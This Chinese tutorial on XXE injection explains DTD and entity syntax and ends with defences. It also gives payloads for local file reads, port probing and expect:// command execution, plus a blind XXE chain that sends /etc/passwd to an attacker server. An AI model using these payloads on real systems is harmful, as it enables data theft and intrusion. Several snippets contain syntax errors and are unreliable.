XML 的文档结构:
- XML 文档声明,在文档的第一行
- XML 文档类型定义,即DTD,XXE 漏洞所在的地方
- XML 文档元素
DTD
内部声明 DTD:<!DOCTYPE 根元素 [元素声明]>
引用外部 DTD:<!DOCTYPE 根元素 SYSTEM "文件名">
或<!DOCTYPE 根元素 PUBLIC "public_ID" "文件名">
实体声明
内部声明实体:<!ENTITY 实体名称 "实体的值">
引用外部实体:<!ENTITY 实体名称 SYSTEM "URI/URL/协议">
或<!ENTITY 实体名称 PUBLIC "public_ID" "URI">
XML 外部引用支持的协议
对于 PHP:
- file:可用 file://文件地址,来读取文件
- http:可以访问 HTTP(S) 网址
- FTP:访问 FTP
- PHP:访问各个 输入/输出 流
- zlib:压缩流
- data:数据
- glob:查找匹配的文件格式路径
- expect:处理交互式的流,可用来执行命令,但需要先安装相应插件
判断是否存在 XML 实体注入
在输入框或URL的参数中输入一些 XML 标签,如:<username> Have XXE</username>
,若页面回显出Have XXE
,那么说明这个标签被后台所调用,说明存在 XML 实体注入。
但是有的时候,这些注入点可能不是那么明显,如一些仅适用 JSON 去访问服务的客户端。我们可以通过修改 HTTP 请求,修改 Content-Type 头部字段等方法,然后去查看响应包,查看程序是否解析了发送的内容,如果解析了,则存在 XXE 攻击漏洞。
现实中存在的大多数 XXE 漏洞都是 Blind XXE,即不可见的,必须采用带外通道才能查看返回信息的记录。
XXE 的危害
① 读取任意文件
② 执行系统命令,但需要有 expect 插件
③ 扫描网站的端口以及是否存在某些目录或文件
④ 通过 http 协议发起 SSRF 攻击
XML 实体注入攻击实例
① 读取 txt 格式的文件(file 协议)
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE a [
<!ENTITY test SYSTEM "file:///var/www/html/test.txt">
]>
<c>&test;</c>
- 第 1 行是一个 XML 文档声明,告诉解析器这是一个 XML 文件。
- 第 2 - 4 行是 DTD,调用了一个外部实体,将本机 test.txt 文件的内容赋值给实体 test。此处造成了 XML 实体注入攻击。
- 最后一行是输出实体的值
② 读取 PHP 格式的文件(使用 PHP 协议)
因为 PHP 中有 <?php ?>
,当 XML 解析时,遇到 <?
这类的符号时,会将 PHP 当做 XML 去解析,所以会报错,故需要将其进行 base64 编码读出。
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE a[
<!ENTITY test SYSTEM "php://filter/read=convert.base64-encode/resource=index.php">
]>
<c>&test</c>
通过 PHP 协议的 filter 输出流读取 PHP,并经过 base64 编码,这样 XML 就不会去解析 PHP 中的 <?
,就不会报错,故可以成功读出 PHP 文件的源码内容。
③ 探测端口是否开启(HTTP 协议)
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE a[
<!ENTITY test SYSTEM "http://127.0.0.1:3306">
]>
<c>&test</c>
根据页面返回的报错信息或内容来判断端口是否开启,可以通过 BurpSuite 抓包来查看。
通过此方法也可以来查看目录或者文件是否存在。
④ 执行命令(expect 协议)
若想执行协议,则需要目标主机上安装了 expect 插件,并且做了相关配置。条件较苛刻,所以比较少见。
同时还有一点需要注意:所执行的命令不允许含有空格。
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE a[
<!ENTITY test SYSTEM "expect://ls">
]>
<c>&test</c>
⑤ Blind XXE
若服务器没有回显,那么只能使用 Blind XXE 来构建一条带外数据 (OOB) 通道来读取数据。
角色:
- 攻击者:发起攻击
- 攻击者的服务器:用来获取 被攻击者 服务器上的信息
- 被攻击者:Web 服务器
思路:
- 攻击者发送 XML 给 Web 服务器,该 XML 文件中引用了一个外部实体,详细代码见下。
- Web 服务器解析 攻击者 发送的 XML,根据 XML 向 攻击者的服务器 请求获取恶意 DTD
- Web 服务器获取到 恶意 DTD 后,根据其内容,带着含有 Web 服务器上的信息去访问 攻击者服务器上的 HTTP 或 FTP
- 攻击者可以通过 请求日志 来查看请求的参数来获取信息。
详细代码:
① 攻击者 发送给 被攻击者 Web 服务器的 XML:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root[
<!ENTITY % remote SYSTEM http://攻击者的服务器IP/test.xml>
%remote;
]>
Web 服务器收到这段 XML 代码后就会去解析。根据其外部实体中的 http 协议去攻击者的服务器上去请求 test.xml 文件。
有的时候 Web 端可能会解码,所以需要视情况将 XML 代码进行编码后再发送。
② Web 服务器 到 攻击者的服务器 上请求的 test.xml 文件代码:
<!ENTITY % payload SYSTEM "file:///etc/passwd">
<!ENTITY % int "<!ENTITY % trick SYSTEM 'http://攻击者服务器 IP/%payload;'>">
%int;
%trick;
当 Web 服务器请求到 test.xml 文件,并到 Web 服务器上进行解析时,会先通过 file 协议读取到 Web 服务器 (本机) 的 /etc/passwd 文件的内容,并赋给参数实体 %payload。
然后再使用 http 协议,携带者刚刚请求得到的 %payload 的内容作为参数,去访问 攻击者的服务器。
这样在攻击者的服务器的日志中就会留下相应的请求信息,攻击者就可以通过浏览日志来获取相应的敏感信息。
注:带有 %
的实体是一个参数实体,只有参数实体才能在 DTD 使用,且只能在外部 DTD 中使用。
防御 XML 实体注入
1. 禁用外部实体
不同的语言有不同的禁用方式:
① PHP:libxml_disable_entity_loader(true);
② JAVA:
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);
③ Python:
from lxml import etree:
xmlData = etree.parse(xmlSource, etree.XMLParser(resolve_entities = FALSE))
2. 过滤用户提交的 XML 数据
可以过滤一些关键字,如:<!DOCTYPE>、<!ENTITY>、SYSTEM、PUBLIC 等。
3. 不允许 XML 含有自己定义的 DTD